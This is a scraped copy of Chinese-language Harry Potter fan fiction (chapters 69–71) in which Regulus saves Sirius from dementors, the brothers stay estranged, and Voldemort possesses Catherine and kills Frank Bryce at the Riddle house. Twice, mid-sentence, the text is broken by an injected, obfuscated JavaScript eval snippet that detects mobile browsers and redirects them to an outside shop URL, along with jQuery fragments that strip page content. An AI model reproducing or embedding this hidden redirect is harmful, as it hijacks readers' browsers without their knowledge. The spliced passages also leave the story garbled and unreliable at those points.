雷古勒斯又对着打人柳的节施了一个无声咒,哈利和赫敏终于摆脱了打人柳,气喘吁吁地跟着一只姜黄色的猫爬进了树洞里。 他们一消失,那棵树就又动起来。几秒钟以后,他们听见近处有脚步声。邓布利多、麦克尼尔、福吉和委员会的年老成员正向城堡走去。这四个人登上城堡的石阶,看不见了。有几分钟时候,四周空无一人。然后—— “这个是卢平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101573|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——他一直和我哥哥关系很好。”雷古勒斯说。他们看见那一个人影跳下石阶,向打人柳走来,浮云把月亮完全遮住了。 他们看着卢平从地上捡起一根断枝,用它戳树干上的节疤。树静止了,卢平也消失在树根的洞里了。 就在这时,他们听到一阵歌声。那是海格,他正向着城堡走去,尽量大声地唱着,走路的时候身子有些摇晃。他两手捧着的大瓶子也在晃着。 凯瑟琳牵着的鹰马兽疯狂挣扎着要回到海格那里去;雷古勒斯帮忙抓紧了绳子,努力把巴克比克拉回来。他们看着海格歪歪倒倒地向城堡走去。 他走了。 巴克比克也不挣扎着要走了。它的脑袋哀伤地垂了下来。 不到两分钟,城堡的门又开了,斯内普出了门,向打人柳跑过来。 他们看见斯内普在树旁收住了脚步,四面看了着,抓起那件隐形衣,举起来。然后,斯内普拿起卢平用过的那根树枝,戳了戳那节疤,穿上隐形衣,不见了。 “斯内普也知道这里?” “连我都知道。”雷古勒斯有些紧张地说,“他以前喜欢偷偷跟踪那四个人,想要和伊万斯证明他是对的……我则是想要让我哥哥因为宵禁偷偷跑出来被扣分。” “四个人?” “詹姆·波特,我哥,卢平和刚才我和你说的老鼠。”雷古勒斯解释道,“他们在得知卢平的秘密后,偷偷练习成为了未注册的阿尼玛格斯。经过这段时间调查,我可以确定罗恩的那只老鼠就是害死波特一家的彼得·佩迪鲁。” “什么?那——” “我不清楚他们打算怎么处置他……但我哥哥和卢平肯定已经识破了他的身份。” 接着,雷古勒斯给凯瑟琳讲述十二年前的真相。他们在林子里等了一个多小时以后,看到一帮人走了出来。 卢平、跛脚的罗恩和彼得·佩迪鲁从柳树下面的洞里笨拙地钻出来。然后赫敏出来了,然后是失去知觉的斯内普,古怪地向上飘浮着。再后面是哈利和西里斯。 他们都开始向城堡走去。 卢平的脚步忽然停住了,然后他开始变形。 “最坏的事情发生了。”凯瑟琳说道。 “凯瑟琳,你待在这里看好巴克比克。”雷古勒斯忽然说道。 “什么?那你呢?” “来不及说了——那只祸害要逃跑了,我得去会会他。” 凯瑟琳看到雷古勒斯戴上面具冲出了树林,然后对着那只老鼠施展了几个无声咒,恢复人形的老鼠立刻被五花大绑地倒在地上。 变成大黑狗的西里斯和狼人卢平扭打在一起,互相撕咬着滚下山坡,然后——雷古勒斯和凯瑟琳同时注意到禁林湖面上空盘旋着上百只摄魂怪。 哈利和赫敏从远处追了过来,雷古勒斯幻影移形到了湖的对岸。他听见湖对岸传来的一声声吠叫、一声声呜咽,一只狗负痛而吠…… 西里斯又变成人了。他蹲着,双手举在头上。 “别别别,”他虚弱地求饶道,“别别别……请别……” 雷古勒斯抬头,摄魂怪,上百只,黑黑的一团,在湖的周围向他哥哥、哈利和赫敏滑行过去。 哈利尝试着挥动魔杖,不停地喊着:“护神护卫!”但是只有一个虚弱的动物轮廓。 一旁的赫敏倒了下,西里斯抖了一下,翻身一滚,躺在地上一动不动,苍白得像已经死了。哈利的腿已经软下来,飘渺的银白色光很快熄灭在腐朽的黑袍下。 他不能再等了。 雷古勒斯抽出魔杖,指着那一大片冲向他哥哥的摄魂怪大喊道:“呼神护卫!” 一头令人炫目的银色雄狮从他的月桂木杖尖冒出,越过黑色的湖面疾驰而去。它低下头对准那一大群摄魂怪冲过去,盘旋在他哥哥头顶的黑色的形体一圈圈地退让着,摄魂怪后退、溃散、隐入黑暗之中……它们走了。 那守护神转过身。它越过平静的水面向着哈利和西里斯慢跑回来。它全身发亮,像天上的月亮一样,然后在岸边停住了。它的爪子在软泥地上没有留下痕迹,它那双银色的眼睛注视着倒下去的三个人,然后,它也消失了。 “雷尔,来不及了!斯内普醒过来了,他正在往这边走。如果他看到西里斯,一定会把他转交给魔法部。”凯瑟琳骑着巴克比克来到喘息的雷古勒斯身边。 “我知道……了。”雷古勒斯很快直起腰,守护神咒消耗了他太多的体力,他的神色看起来十分苍白。 “走吧,我们先把西里斯带回布莱克祖宅,等他醒来再做打算。” 71.chapter69 凯瑟琳走进格里莫街12号,沃尔布加的画像发出不满的声音。她走上楼,雷古勒斯刚关上西里斯房间的门。 “怎么样了?”雷古勒斯看到凯瑟琳回来,问道。他的脸色十分苍白,看起来精神不太好。 “彼得·佩迪鲁已经被魔法部抓走了,他将在阿兹卡班度过余生。”凯瑟琳努力说些让雷古勒斯高兴的话,“大概明天报纸就会刊登这件事,换言之,西里斯也不用东躲西藏了。” 雷古勒斯听到这里,点了点头。“今天早上的时候,我就看到围在窗外的摄魂怪已经离开了,想去关心一下他的状况……但是他依旧不愿意和我说话。” “你为什么不跟他说清楚呢?雷尔?”凯瑟琳有些不解。 雷古勒斯耸了耸肩,露出一个苦笑。 “我跟他,没有什么好说的。” 说完,他看了一眼那个房门,转头钻进了自己的房间。 凯瑟琳看着这两个把门关起来的兄弟,觉得有些为难。最后,她还是决定和西里斯谈谈——她走到房间门前,敲了敲门。 很快,门开了。站在门里的小天狼星身材高瘦,长得和雷古勒斯十分相似,只是十几年在阿兹卡班的折磨,让他的的目光有些呆滞的忧郁;由于雷古勒斯和克利切的照顾,他看起来比在霍格沃茨的那段时间好了不少,脸颊也丰满起来,头发也不再蓬乱。 “什么事?” 西里斯在十几年前,也就是波特夫妇躲在戈德里克山谷的老房子里的时候见过凯瑟琳,虽然他不理解她为什么要一直带着面纱,但是既然是邓布利多的安排,加上莉莉很显然很喜欢她,他们还一起执行过几次凤凰社的任务,因此自然对她没有意见。 “我可以进来谈吗?”凯瑟琳问。 “当然。”西里斯瞥了一眼斜对面紧闭的房门,然后身子后撤,让凯瑟琳进了屋。 “雷尔特地保留了你房间原本的样子。”凯瑟琳说道。 “雷尔?你们看起来很亲密。”西里斯嗤笑了一声,“我就不该让你进来,你看起来是来当说客的。” 凯瑟琳的脸有一瞬的红,但还好她戴着面纱。 “你就当我是吧!”她有些没好气地说,“但是,你真的不想知道这些年他都做了什么?我觉得你们需要一些沟通。” “沟通?算了吧!他和我的好妈妈、好爸爸一样,纯血至上,利益至上,还是食死徒,没被抓进阿兹卡班就偷着乐吧。” “如果我说,他从很久之前就是凤凰社的人了呢?” “他只是害怕了。他就是个只能躲在爸妈房子里的懦夫。”西里斯不屑地说道,“如果他有勇气,就应该直接站到黑魔头面前,朝他拔出魔杖!” “这就是你所谓的勇气吗?”凯瑟琳反问道,“你希望你的弟弟为了证明自己的勇敢,而做这种无畏的牺牲?迷途知返、完成深入敌营的艰巨任务,就不是勇敢?” “……” 西里斯双手插兜,背过身去。 “他只是害怕了,凯特。” “每个人都会有害怕的时候,就像你会害怕哈利出事一样。”凯瑟琳严肃地说,“雷尔害怕的不是赴死,而是害怕自己家人的安危。这十几年,他并非一直躲在房子里,而是和卢平一起帮你翻案,就算邓布利多也加入,但是魔法部声称抓不到人就不会把你放出来,最后,是他帮助你离开阿兹卡班的。” “……你是没见过他以前和我的好妈妈一唱一和的样子。沃尔布加,她就是个没心没肺的女人。” “时间会改变一切,西里斯。你应该原谅他小时候犯过的错误……况且,他是你弟弟啊。” 凯瑟琳皱着眉头,她不知道应该如何解开一个冤屈地进入阿兹卡班十二年的男人的心结,不仅是因为西里斯确实是一个与雷古勒斯很不同的人——他没有雷古勒斯好说话,性格也更直接,还因为这本就是家庭的矛盾,她没有调节这样矛盾的经验。 “弟弟?我早就被布莱克家族除名了。”西里斯回过头,摆出一个十分漠视且傲慢的表情。“我不认为我属于这里……我只是暂住在这里而已。” 凯瑟琳叹了一口气。 “那我只有一个问题,如果你们有着共同的目标,彻底摧毁伏地魔,你能暂时与他达成合作吗?” 西里斯挑了挑眉。似乎在思考。 “就比如,你们可以暂时达成合作,毕竟谈到‘原谅’,谁都不可能立刻做到。”凯瑟琳说。 “但是,一旦黑魔头回来,他向他倒戈——” “他不会。”凯瑟琳说,“他已经撕掉了以前贴着的有关伏地魔的一切,更重要的是,伏地魔触犯了他的底线。既然是合作,我们就要信任他。” 隔了半晌,西里斯终于点了点头。 “我知道了。”他又看向窗外,“看来,魔法部确实把摄魂怪召唤走了……我也好光明正大地为凤凰社做事了。” * 凯瑟琳又回到了阿尔巴尼亚森林,炎热的夏季几乎无法入侵茂密的丛林,她通过与蛇沟通的能力,得知了虫尾巴的下落。 她是带着任务来的,邓布利多说,没有人比她更合适。 “魔法部的人实在太大意了,”邓布利多说,“他们认为彼得的罪不至死,所以依旧只是判他终身监禁。结果,刚进去没几天,他就变成老鼠溜走了。韦斯莱家是回不去了,所以他一定会想办法找到他的主人,所以麻烦你去跟着他——防止他伤害更多的人,阻止他在我们摧毁所有魂器之前复活。” “你需要对他暴露身份,我相信,他依旧把你当做特殊的存在。不过,你要想办法避开是谁真正复活你的问题……布莱克家的魔杖,也不要带过去。用着根——这是我在打败格林德沃之前用的魔杖,我测试过,它与你的匹配度比那根魔杖更好。” “还有一点,挂坠盒不能带走,暂且保管在我这里,以免让伏地魔知道他的灵魂已经被摧毁——是的,没错。由于他和自己的灵魂分离得太久,以至于在被摧毁的时候,他几乎没有什么感觉。我没办法让凤凰社的人与你同行,我必须安排他们为开学的比赛做准备。因此,记得保护好自己。” 虫尾巴在酒馆里哄骗了一名魔法部的女巫,并且已经找到了她哥哥所在的位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13117100|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置。 凯瑟琳快速地幻影移形,当她出现在小木屋后面的时候,刚好撞见绿光闪过,然后一个女人倒在在了地上。 “谁在那里?”属于里德尔的黑影警惕地回过头来,然后看见了站在木屋后有些气喘的凯瑟琳,他竟有些慌张地将自己的魔杖藏到了背后。 “汤姆,你杀人了?”凯瑟琳按照邓布利多的指示,假装不知道他这些年做的事,问道。 “她只是体力不支晕倒了。”里德尔不耐烦地说。 虫尾巴显然对这个女人对主子的称呼感到惊诧不已,而他的主人看起来也非常的恼怒——只是似乎他是在为办事的时候被撞破而感到生气。 凯瑟琳看到里德尔的黑影回头端详了一下虫尾巴,又看了看站在远处握着魔杖的自己,然后,他朝虫尾巴点了一下头。 事情发生的很快。 虫尾巴不由分说开始朝她发射魔法,她举着魔杖反击,没有注意到属于她哥哥的黑影几乎融入了夜色,并悄悄绕到了她的身后。 然后,凯瑟琳觉得自己从身后被撕裂了,一种充满邪恶的力量侵占了她的大脑,她的意识不再由自己控制,眼前也变得一片模糊,她向前倒在了地上。 几分钟之后,凯瑟琳重新从地上站了起来。她的样貌没有变,只是多了压迫感十足的冷酷气质,瞳孔变成了细细的一条线,像猫的眼睛,在黑夜闪烁着红光。她的脸上露出从未有过的狂喜和贪婪的表情,不断地抚摸着自己的脸,欣赏着自己的双手。 “主、主人?”虫尾巴怯生生地喊了一句。 “没错,是我。”里德尔用他妹妹的声音说道,但听起来完全像是两个人。“我这妹妹真是一点也不省心……不过现在她的身体已经完全受我控制了。虽然现在我不得不暂时待在这具女性的躯壳里……我们的契合度无疑是最高的……做什么事几乎能和我自己的身体一样称手——也不用浪费时间再去编造谎言欺骗她了。” “主人……我们都不知道您还有个妹妹。”虫尾巴谄媚地说道,“啊……真是美若天仙,确实和您非常——” 他的话停住了,因为他感受到了主子看向他冷酷的视线。 “闭嘴,虫尾巴。”里德尔说道,“我不能长时间用她的身体,不然,很有可能缩短她的寿命。不知道邓布利多是怎么复活她的,啊,大概就是用那颗我没能拿到的复活石……无所谓了,他拿不到我的魂器——没想到他果然也是个胆小的人。现在你找到了我,并给我带来了伯莎·乔金斯这么好的帮手,等我恢复了自己的身体,会好好奖励你的。” “谢谢主人!谢谢主人!”虫尾巴欣喜异常地跪倒在这个女人的脚下,亲吻着她的鞋尖。 “凯瑟琳”朝虫尾巴伸出手,虫尾巴立刻把里德尔的紫杉木魔杖递到他主子手里。 “比起用你的身体,这具身体也低调很多……谁会知道这一个五十多年前的女人呢?甚至连邓布利多也不敢在这个时候对我下手吧……哈哈哈哈哈!”她狂笑起来,声音却是冷冰冰的,“该走了,虫尾巴。我需要去见见那个能力出众的食死徒,巴蒂·克劳奇。” 72.chapter70 1994年,夏。 小汉格顿的村民们仍然把这座房子称为“里德尔府”,尽管里德尔一家已经多年没在这里居住了。房子坐落在一道山坡上,从这里可以看见整个村子。房子的几扇窗户被封死了,房顶上的瓦残缺不全,爬山虎张牙舞爪地爬满了整座房子。里德尔府原先是一幢很漂亮的大宅子,还是方圆几英里之内最宽敞、最气派的建筑,如今却变得潮湿、荒凉,常年无人居住。 小汉格顿的村民们一致认为,这幢老房子“怪吓人的”。半个世纪前,这里发生了一件离奇而可怕的事,直到现在,村里的老辈人没有别的话题时,还喜欢把这件事扯出来谈论一番。这个故事被人们反复地讲,许多地方又被添油加醋,所以真相到底如何,已经没有人说得准了。不过,故事的每一个版本都是以同样的方式开头的:五十年前,里德尔府还是管理有方、气派非凡的时候,在一个晴朗夏日的黎明,一个女仆走进客厅,发现里德尔一家三口都气绝身亡了。 园丁弗兰克被认定为凶手,但很快,他又被无罪释放了。自称是里德尔的儿子的人继承了这套房子,但他从未回来过,只是把房子转卖了出去。但是,历任新房主都认为这幢房子太恐怖,很快都搬走了。 最近拥有里德尔府的那个富人,既不住在这里,也不把宅子派什么用场。村里的人说,他留着它是为了“税务上的原因”,但谁也不清楚到底是怎么回事。不过,这位富裕的宅主继续花钱雇弗兰克当园丁。 弗兰克如今快要过他七十七岁的生日了,他耳朵聋得厉害,那条坏腿也比以前更加僵硬了,但天气好的时候,人们仍然能看见他在花圃里磨磨蹭蹭地干活,尽管杂草在向他身边悄悄蔓延,他想挡也挡不住。 况且,弗兰克要对付的不仅是杂草。村子里的男孩总喜欢往里德尔府的窗户上扔石头。弗兰克费了很大心血才保持了草地的平整,他们却骑着自行车在上面随意碾踏。有一两次,他们为了互相打赌,还闯进了老宅。 他们知道老弗兰克一心一意地护理宅子和庭园,几乎到了一种痴迷的程度,所以他们愿意看到他一瘸一拐地穿过园子,挥舞着拐杖,用沙哑的嗓子朝他们嚷嚷,每当这时,他们就觉得特别开心。 弗兰克呢?他相信这些男孩之所以折磨他,是因为他们和他们的父母、祖父母一样,认为他是一个杀人犯。 因此,在1994年八月的一个夜晚,当弗兰克一觉醒来,看见老宅上面有异常的动静时,还以为是那些男孩又想出了新的花招来惩罚他了。 弗兰克是被那条坏腿疼醒的,如今他上了年纪,腿疼得越发厉害了。他从床上起来,瘸着腿下楼走进厨房,想把热水袋灌满,暖一暖他僵硬的膝盖。他站在水池边,往水壶里灌水,一边抬头朝里德尔府望去,他看见楼上的窗户闪着微光。弗兰克立刻就明白了是怎么回事。那些男孩又闯进老宅了,那微光闪闪烁烁,明暗不定,看得出他们还生了火。 弗兰克屋里没有装电话,自从当年为了里德尔一家猝死的事,警察把他带去审问之后,他就对警察有了一种深深的不信任感。他赶紧把水壶放下,拖着那条坏腿,尽快地返回楼上,穿好衣服,旋即又回到厨房。他从门边的钩子上取下那把锈迹斑斑的旧钥匙,拿起靠在墙边的拐杖,走进了夜色之中。 里德尔府的前门没有被人强行闯入的迹象,窗户也完好无损。弗兰克一瘸一拐地绕到房子后面,停在一扇几乎完全被爬山虎遮住的门边,掏出那把旧钥匙,插进锁孔,无声地打开了门。 弗兰克走进洞穴般幽暗的大厨房,他已经很多年没有进来过了。不过就算四下里漆黑一片,他仍然记得通往走廊的门在哪里。 他摸索着走过去,一股发霉的气味扑鼻而来。他竖起耳朵,捕捉着头顶上的每一丝脚步声或说话声。他来到走廊,这里因为有前门两边的大直棂窗,多少透进了一点儿光线。他开始上楼,一边心想多亏华丽的木质楼梯上积着厚厚的灰尘,使他的脚步声和拐杖声发闷,不易被人察觉。 在楼梯平台上,弗兰克向右一转,立刻看到了闯入者在什么地方。就在走廊的顶端,一扇门开着一道缝,一道闪烁的微光从门缝里射了出来,在黑乎乎的地板上投出一道橙黄色的光影。弗兰克侧着身子,小心地一点点靠近,手里紧紧攥着拐杖。在离门口几步远的地方,他可以看见房间里窄窄一条缝中的情景。 他现在看到了,那火是生在壁炉里的——这使他感到很意外。 他停住脚步,竖起耳朵,只听见房间里传来一个男人的说话声,那声音显得无比胆怯、害怕。 “瓶子里还有呢,主人,如果您还饿,就再喝一点儿吧。” “待一会儿吧。”又一个声音说。这是一个女人的声音——一点也不温和柔软,而是像寒风一样冰冷刺骨。不知怎的,这声音使弗兰克脖子后面稀少的头发都竖了起来。 “把我挪到炉火边去,虫尾巴。” 弗兰克把右耳贴到门上,想听得更清楚些。房间里传来一只瓶子放在某个坚硬的东西上的当嘟声,然后是一把重重的椅子在地板上拖过时发出的刺耳的磨擦声。弗兰克瞥见一个小个子男人,背对着门,正在推动一把椅子。他穿着一件长长的黑斗篷,后脑勺上秃了一块。随后,他又不见了。 “纳吉尼在哪儿?”那个冰冷的声音问。 “我——我不知道,主人。”第一个声音紧张地说,“我想,它大概在房子里到处看看……” “我们睡觉前,你喂它一次牛奶,虫尾巴。”女人的声音说道,“我夜里还需要吃一顿。又要防着她重新夺回操控权,又得恢复我的法力,这一路上可把我累坏了。” 弗兰克皱紧眉头,又把那只好耳朵往门上贴了贴,使劲儿听着。房间里静了片刻,然后那个被称作虫尾巴的人又说话了。 “主人,我能不能问一句,我们要在这里待多久?” “一个星期,”那个透着寒意的声音说,“也许还要更长。这地方还算舒适,而且那计划还不能实施呢。在魁地奇世界杯结束前就草率行事是不明智的。” 弗兰克用一根粗糙的手指伸进耳朵,转了几下。肯定是耳垢积得太多了,他居然听见了“魁地奇”这样一个怪词,根本就不成话儿。 “魁——魁地奇世界杯,主人?”虫尾巴说。(弗兰克用手指更使劲地掏他的耳朵。)“请原谅,可是我——我不明白——我们为什么要等到世界杯结束呢?” 世界杯?足球世界杯?弗兰克觉得有些摸不着头脑。 “蠢货,因为在这个时候,巫师们从世界各地涌进这个国家,魔法部那些爱管闲事的家伙全部出动了,他们站岗放哨,注意有没有异常的活动,反复盘查每个人的身分。他们一门心思就想着安全、安全,生怕麻瓜们注意到什么。所以我们必须等待。” 弗兰克不再掏耳朵了。他准确无误地听见了“魔法部”、“巫师”和“麻瓜”这些字眼。显然,这些词都具有神秘的含义,而据弗兰克所知,只有两种人才会说暗语:密探和罪犯。因此,他更紧地攥住拐杖,更凝神地听着。 “这么说,主人的决心仍然没变?”虫尾巴轻声地问。 “当然没变,虫尾巴。” 那个冰冷的声音里现在带着威胁的口气了。 之后是片刻的沉默——然后虫尾巴说话了,他的话像湍急的河水一样从嘴里涌了出来,似乎他在强迫自己在没有丧失勇气前把话说完。 “没有哈利·波特也能办成,主人。” 又是沉默,比刚才延续的时间更长,然后—— “没有哈利·波特?”女人的声音轻轻地问,但是这种轻柔的声音反而让人听着不寒而栗。“我明白了……” “主人,我说这话不是因为关心那个男孩!”虫尾巴辩解道,他的声音突然抬高了,变得尖利刺耳。“我才不在乎那个男孩呢,根本不在乎!我只是想,如果我们使用另外的巫师——不管是男是女——事情就可以速战速决了!如果您允许我离开您一小会儿——您知道我可以随心所欲地伪装自己——我两天之内就回到这里,带回一个合适的人选——” “我可以使用另外的巫师,”那个冰冷的声音轻轻地说,“这主意不错……” “主人,这是合乎情理的。”虫尾巴说,口气舒缓多了,“要去加害哈利·波特太困难了,他现在受到了严密的保护——” “所以你主动提出,要给我找一个替代品来?我猜想……也许这份伺候我的工作已经使你厌烦了,是吗,虫尾巴?你建议放弃原计划,是不是只想抛弃我呢?” “主人!我——我没有要离开您的意思,压根儿没有——” “不要对我撒谎!”那个女声说道,“我什么都清楚,虫尾巴!你一直在后悔回到我这里来。我看得出你一看见我就畏缩,只要跟我说话就全身发抖……” “不是这样!我对主人忠心耿耿——” “什么忠心耿耿,你只是胆小罢了。如果你有别的地方可去,你决不会到这里来的……躲躲藏藏,被迫做一个女人真是有太多的不方便!该死的。” “可是至少您用的很称手,主人——” “狡辩!那也不是你的功劳,”那个女人轻轻地说,“每天我都得想办法如何继续控制这具身体本就很耗精神,况且,只要几天工夫就能夺走我在你马马虎虎的照料下恢复的一点儿元气——别出声!” 正在结结巴巴、语无伦次地说着什么的虫尾巴,这时立刻沉默下来。在那几秒钟内,弗兰克只能听见火苗噼噼啪啪燃烧的声音。然后,那个女人又说话了,声音很低很低,像是从喉咙里发出的嘶嘶声。 “我使用那个男孩自有我的道理,我已经向你解释过了,我不会使用其他人的。至于那个男孩受到的严密保护,我的计划会起作用。现在就需要你有一点儿勇气,虫尾巴——你得有勇气,除非你希望感受一下伏地魔大人的惩罚——” “主人,请让我说一句!”虫尾巴说,声音里带着恐慌,“在我们这一路上,我脑子里反复盘算着那个计划——主人,伯莎·乔金斯的失踪很快就会引起人们的注意,如果我们再干下去,如果我杀死了——” “如果?”那个女人如耳语般地说,“如果?如果你按我的计划行事,虫尾巴,魔法部永远不会知道还有谁死了。不过……我现在确实可以亲自动手了……只要再死一个人,我们通往哈利·波特的道路上就没有障碍了。到那时候,我忠实的仆人就会回到我身边——” “我就是一个忠实的仆人。”虫尾巴说,他声音里含着一丝淡淡的不快。 “虫尾巴,我需要一个有脑子的人,一个对我绝对忠诚、从不动摇的人,而你呢?很不幸,这两个条件都不符合。” “是我找到您的,”虫尾巴说,声音里带着明显的恼怒,“是我把您找到的,是我把伯莎·乔金斯给您带来的。” “那倒不假,”女人用打趣般的口吻说,“真没想到你还能说出这么聪明的话来,虫尾巴——不过,你同时带来了不少摄魂怪,不是么?” “可是我知道主人有办法对付他们……” “算了吧。这件事先放在一边——和我说实话,你把那女人抓来时,并没有意识到她是多么有用,对不对?” “我——我知道她会有用的,主人——” “撒谎,”女人又说道,那种冷冰冰的打趣口吻更明显了,“不过,我不否认她提供的情报很有价值。要不是那个情报,我就不可能想出我们的计划,这个嘛,虫尾巴,你自会得到奖赏的。只不过,那些追着你的摄魂怪,你可不能光靠我来帮你。” “啊……啊是的……主人……”虫尾巴的声音又变得恐慌起来。 “啊,虫尾巴,你难道想破坏这份意外之喜吗?最后才轮到你出场呢……不过我向你保证,你将有幸和伯莎·乔金斯一样有用。” “您……您……”虫尾巴的声音突然沙哑了,他的嘴似乎变得很干,“您……您要……把我也杀死?” “别太紧张,”那个冰冷的女声轻柔地说,“只要你表现好……完全没有这个必要。我杀死伯莎·乔金斯是因为迫不得已。在我审间完之后,她就没有用了,完全没有用了。不管怎样,如果她带着假期里遇见你的消息回到魔法部,人们就会提出许多令人尴尬的问题。原本应该死了的巫师是不应该在路边的小客栈里遇见魔法部的女巫师的……” 她的话似乎是在对虫尾巴说,又似乎是在对某个不存在的人解释。 虫尾巴又嘟囔了几句什么,声音太低,弗兰克没有听清,但他的话使女人哈哈大笑起来——这是一种十分可怕的笑,跟她说的话一样寒气逼人。 “我们本可以改变她的记忆是不是?可是碰到一个功力强大的巫师,遗忘咒就不起作用了,这一点我在审问她时已经得到了证实。不使用一下我从她那里得到的情报,这对她的记忆也 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就在这时,他听见身后漆黑的走廊里传来了动静。他转身一看,顿时吓得呆在了那里:有什么东西窸窸窣窣地滑过漆黑的走廊地板朝着他过来了。当那东西渐渐接近门缝里射出的那道壁炉的火光时,他惊恐万状地发现,那是一条巨蛇,至少有十二英尺长。 弗兰克吓得呆若木鸡,站在那里望着它波浪般起伏的身体,在地板上厚厚的灰尘中留下蜿蜒曲折的、宽宽的轨迹,慢慢地越来越近——他怎么办呢?他要逃也只能逃进那一男一女正在密谋杀人的那个房间,可是如果待在原地,这条蛇肯定会把他咬死—— 还没等他拿定主意,巨蛇已经横在他的面前,然后又神奇地、令人不可思议地滑了过去。它听从门后面那个冰冷的嘶嘶声的召唤,几秒钟后,它那钻石图案的尾巴就从门缝里消失了。 这时,弗兰克额头上已渗出了汗珠,抓着拐杖的手抖个不停。房间里,那冰冷的嗓音继续嘶嘶响着,弗兰克突然产生了一个奇怪的想法,一个荒唐的想法……这个人能跟蛇说话。 弗兰克不明白这一切到底是怎么回事。现在他最渴望的就是抱着热水袋回到床上。问题是他的双腿似乎不愿挪动。他站在那里,浑身瑟瑟发抖。他努力控制住自己。就在这时,那冰冷的声音猛地又说起了人话。 “纳吉尼带回一个有趣的消息,虫尾巴。”那声音说。 “是——是吗,主人?”虫尾巴说。 “当然是。”那个声音说,“据纳吉尼说,有一个老麻瓜,现在就站在这个房间外面,一字不漏地听着我们说话。” 弗兰克没有机会躲藏了,里面传来脚步声,随即房门一下子被打开了。弗兰克面前站着一个秃顶的矮个子男人,花白的头发、尖尖的鼻子,一双小眼睛水汪汪的,脸上带着既恐惧又担忧的表情。 “请他进来,虫尾巴。你怎么不懂礼貌呢?” 那冰冷的声音是从壁炉前的那把古老的扶手椅里发出来的,弗兰克看见了那个娇小的女人的侧脸,她有着黑色的波发和长长的睫毛——完全不像是一个杀人不眨眼的魔王。而那条蛇已经盘踞在壁炉前破烂的地毯上,如同在模仿一只哈巴狗,样子十分狰狞。 虫尾巴示意弗兰克进屋。弗兰克尽管全身颤抖得厉害,还是攥紧拐杖,一瘸一拐地迈过了门槛。 炉火是房间里唯一的光源,它把长长的、蛛网状的影子投到了墙上。弗兰克盯着扶手椅的背后,坐在里面的人并没有回头,她美丽的面庞和冷酷的声音完全不匹配。 “你什么都听见了,麻瓜?”那冰冷的声音问。 “你叫我什么?”弗兰克强硬地说,现在既然进了房间,既然必须采取行动,他的胆子反倒大了起来——在战场上经常就是这样的情况,况且,对面似乎只是一个女人。 “我叫你麻瓜,”那声音冷冷地说,“就是说,你不是个巫师。” “我不知道你说的巫师是什么意思。”弗兰克说,他的声音越来越平稳了,“我只知道,今晚我听到的东西足以引起警察的兴趣——你们杀了人,还在策划着要杀更多的人!我还要告诉你们,”他突然灵机一动,说道,“我老伴知道我上这儿来了,如果我不回去——” “你没有老伴,”那冰冷的声音慢条斯理地说,“没有人知道你在这儿。你没有对别人说过你上这儿来了。麻瓜,不要对伏地魔大人说谎,他什么都知道……什么都知道……” “你说什么?”弗兰克粗暴地说,“大人,是吗?哼,我认为你的风度可不怎么样!还有,你说你是个男人?那你为什么不像个男人一样,把脸转过来看着我呢?” “因为我不是个人,麻瓜,”那冰冷的嗓音说,声音很低,几乎被炉火的噼啪声盖住了,“我早已成为了超越人类的存在。不过……好吧!我就面对你一下……虫尾巴,过来把我的椅子转一转。” 仆人发出一声呜咽。 “你听见没有,虫尾巴!” 小个子男人愁眉苦脸,仿佛他最不愿做的事就是走近他的主人,走近那条蛇盘踞的地毯;他慢慢地走上前,开始转动扶手椅。椅腿撞在地毯上时,巨蛇昂起它三角形的脑袋,发出轻微的嘶嘶声。 现在,椅子面对着弗兰克了,他看见了里面坐着的人,一条雪白的大腿翘在另外一条上,一手托腮,一手拿着一根白色的棍子(似乎还有点设计感),尽管他站着,她坐着,弗兰克却有一种被居高临下俯视的感觉。 他甚至还认识她。五十多年前,那个在雪地里恳求他让她见见她父亲的女孩——可是,可是……她身上没有留下半点岁月的痕迹,她长得美极了,乌黑的头发和雪白的皮肤……但恐怖的点也在于,五十年了,她保持着原样……她的气质完全变了,黑暗,邪恶,冷酷,眼睛是红色的,瞳孔是细细的一条线,声音也不一样…… 弗兰克忽然明白了过来。这一定是一种邪术,她不是她。操控她身体的是一个名叫伏地魔的男人……是一个恶魔。 拐杖啪哒一声掉在地上。他张开嘴,发出一声凄厉的喊叫。他喊叫的声音太响了,没有听见椅子里那个女人举起一根棍子时嘴里说了些什么,而且永远也不会听见了。 一道绿光闪过,一阵嗖嗖的声音响起,弗兰克·布莱斯瘫倒在地。 事实上,他在倒地之前他就已经死了。 “纳吉尼……用餐吧。”那个女的用冷酷的声音说道,虫尾巴再次颤抖着把她重新转向火炉。 73.chapter71 布满灰尘的浴室门被打开,黑暗中一些生物畏光地逃窜,发出窸窸窣窣的声音。黑发女子将魔杖对准室内发射了好几个“清理一新”咒,然后用“火焰熊熊“点燃了备用的油灯。 “清水如泉!” 浴缸里立刻出现了放好的洗澡水。 黑发女子猛地回过头,看到了还站在不远处的小个子男人,蛇一般的眼睛里红光闪了闪。 “滚远点,虫尾巴。”她冷冷地说道,“难道你还想看着伏地魔大人怎么洗澡不成?” 虫尾巴立刻如释重负一般逃回了房间,“主——主人,我帮您准备晚餐。” “没我允许不准进来。” 远处传来虫尾巴连连应是的声音,黑发女子这才满意地将浴室的门拉上,将魔杖架在装肥皂的盒子上面,然后钻进温水中。她阖上眼睛,似乎是睡着了。 …… 